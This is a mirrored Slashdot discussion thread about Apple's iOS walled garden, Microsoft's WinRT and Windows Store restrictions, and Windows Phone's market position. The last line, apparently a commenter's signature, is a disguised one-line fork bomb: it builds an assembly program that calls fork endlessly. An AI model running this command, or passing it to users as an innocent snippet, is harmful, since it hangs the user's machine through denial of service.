Slashdot Mirror
Why Microsoft Shouldn't Copy Apple's iOS Walled Garden
Kethinov writes "Will the computers of the future be tools for freedom or for censorship? An insightful Ars editorial examines this question in depth, concluding that Apple's walled garden approach to iOS is fundamentally flawed and thus Microsoft should reconsider their plans to apply the same model to WinRT. The authors are careful to present a nuanced analysis that adequately weighs the competing interests of security, convenience, and user freedom, ultimately concluding that Mac OS X and Android offer better models because while their walled gardens are on by default, they offer supported mechanisms to opt-out if desired, thereby offering users the same security and convenience benefits without sacrificing user freedom in the process."
A similar article by software engineer Casey Muratori looks at the effect Windows 8's closed distribution system will have on game development. The restrictions involved in getting approval for the Windows Store would preclude 2011's game of the year, Skyrim, from appearing there, as well as 2012's top candidates. The requirements contain clauses that would cut out huge swathes of the video game industry, like this one: "Your app must not contain content or functionality that encourages, facilitates, or glamorizes illegal activity."
Windows needs to make "future" applications unable to get out of their install directory, and unable to write to a global registry.
Viruses can't do a whole lot if they can't get to system files, can't modify anything but themselves.
Windows would suddenly catch up with this whole Internet fad if they secured their OS from viruses finally.
Sure allow trusted legacy aps an option to be run, but aps for the future should be basically sandboxed.
I believe if Microsoft made their OS secure against viruses, they'd actually be a step ahead of Apple. The main old reason Apple doesn't have a lot of viruses is that it had a lower market share for a long time.
God spoke to me
The fact that Apple is very strict (not talking about the mature content thing which I find ridiculous) regarding how an app should behave or designed, makes that a lot of apps are easier to use because the learning curve is low. You don't need to learn things over & over again. Hence the reason - and imho correct - that a lot of users find it a more user friendly platform.
If I read the passages about why Steve Jobs was against Apps in the first place, he had the fear that it could lead to tainting the user friendly experience in which they invested a lot. Which I think - after seeing my share of bad designed software - was a valid fear.
I have an Android smartphone as I find iPhones ridiculous expensive. But if I look at the quality difference between what is available in the Google Play store on my smartphone & the iOS store on my iPad, there is a difference. And I do - personally - think that this is because Apple does run a very strict ship in guidelines, how an app should work, what you expect as behavior, etc. I don't think it is because iOS developers are so much more talented then their android counterparts.
This may come over as a nightmare for those who like to tinker or loves freedom to design or develop an app like they want it, but reality is that when it comes in designing good and consequent interfaces, 90% of the developers can't do it even if their live depended on it. Give them to much room and you really get some of the horrendous software available on the Google play store. Sometimes I find it a pity that Google doesn't enforce some basic guidelines because it is the only way some developers would put some sense in what they are developing.
So no is not the iOS concept that is flawed, it is that stubborn idea that a lot of techies have that they have the same needs or mindset as the general public.
What about the AV companies? If every program is scanned and explicitly approved, what do you need virus scanning for?
Learn to love Alaska
Err, you already said it. CNET(Download.com) and Tucows have existed as central marketplaces for what? 2 decades? And the reason those places still exist is because they vet the software enough for the free market, as it were, to determine that they were a valid central repository for software. The only thing Apple changed was making it their marketplace the only place to get signed applications for their operating system.
This would be the perfect opportunity to do what Shuttleworth SHOULD have done, take the BSD codebase, build a proprietary UI designed for ease of use, ala Apple, but gear it more towards games and kiss Valve's ass, telling them they'll get to be the company to sell apps and games on the platform exclusively.
Although personally? I'm predicting Win 8 craters, Ballmer decides to "pursue other interests" which will be corporate speak for quitting before he gets fired after claiming Win 8 is a hit by claiming every Win 7 sale is a Win 8 sale just like he did with Vista, and then the board will bring in someone with a brain, maybe someone from the business division or maybe bring back Allchin or Ozzie.
Because lets be honest folks, there is really only THREE, count 'em three, major things that keep people buying Windows, and that is games, MS Office, and legacy apps. Ballmer is gonna fuck the games, is gonna REALLY fuck MS Office by trying to force it to be more of a metro mess, and of course with WinRT he's even trying to kill legacy support, and for what? To be an ersatz Apple? We've already got Apple, we don't need ersatz.
Mark my words, WinRT will finally make the Vista jokes go away, Win 8 X86 will take the place of WinME on the "WTF were they thinking?" lists, and Apple and Google will laugh all the way to the bank. Surely after Ballmer shits a couple more billions the board won't give a damn about him being Billy's little buddy, after Forbes called him out I bet this is sink or swim which is why we are seeing epic shilling across the web and commercials up the ass, Ballmer knows one more billion dollar dump and its time to hit the bricks.
ACs don't waste your time replying, your posts are never seen by me.
The other XBox precedent is tying. They bought up Bungie and Halo which was going to be Mac and PC and made it XBox exclusive at a point when Halo was likely to be smash hit and the XBox's viability was still in doubt. So Halo essentially made the XBox a viable console.
Admittedly they did release a PC version a year later, but a year old video game is like reheated lunch. Halo 2 was a Vista exclusive and was released two years after the Xbox version.
In fact this is an amusing example of how tying is self defeating. Halo 2 was tied to the XBox initially. By that point the XBox was going to be a success with or without tying. Still they kept Halo 2 XBox only for two years. Vista was at that point in serious trouble with poor reviews and low uptake. Halo 2 was then tweaked to be Direct X 10 only, which meant Vista only. But a two year old videogame (and Halo 2 was dated graphically even when it was released, so it never really needed Direct X 10) wasn't going to make Vista a success. It sold so poorly it was used as an excuse for Halo 3 to be XBox only.
So you wonder how long before Skype becomes Windows Phone only. Of course Skype has been getting worse for years so in practice all that means is that people will move to whatever Google's solution for video chatting is. And the thing is that given Windows Phone 7's poor market share and lack of support for C++, there was no chance that Skype would have supported it without being bought by Microsoft. WP8 does support native code, but it still seems like it will have poor market share and a lack of apps. That means the platform has a sort of chicken and egg problem as low market share discourages app development but a poor selection of apps discourages customers.
Now people will say that Android had the same sort of problems. That's true but Android was competing against Symbian which was already dying and iOS which was always going to be a premium and Apple exclusive brand, not a mass market one that was licensed to everyone. So HTC, Samsung et al didn't really have a choice between iOS and Android. Rather they had a choice between Symbian and Android. Google could win that. Also Google got a Native SDK out relatively quickly and that meant that cross platform stuff that uses native libraries got ported over.
WP7 never had native code and never will. WP8 will, but it completely replaces the WP7 ecosystem with an incompatible one. Announcing it means that people will drop WP7 development like a hot potato.
tl;dr - Microsoft are fucked here. Incidentally it's sort of funny that back when Vista was released I remember reading here that it would mean people would flee to Linux and I point out the reasons that would not happen. I.e. the consensus seemed to be that MS was in deep trouble. Now, curiously, when I point out that MS is in deep trouble over mobile the consensus seems to be that they are not.
Of course MS brought out Windows 7 which is as good as XP and its Vista woes subsided. And MS never really lost market share on the desktop - it has always had ~90% of the market. On mobile its market share peaked with Windows Mobile at about 12%. It has now dropped below 1%. I.e. on mobile it has Linux like market shares. Apple and Google are the ones with 90% market share. Most apps seem to launch on iOS and Android and not on Windows Phone. There is no real sign that their customers are likely to move en masse for a platform with far less applications.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;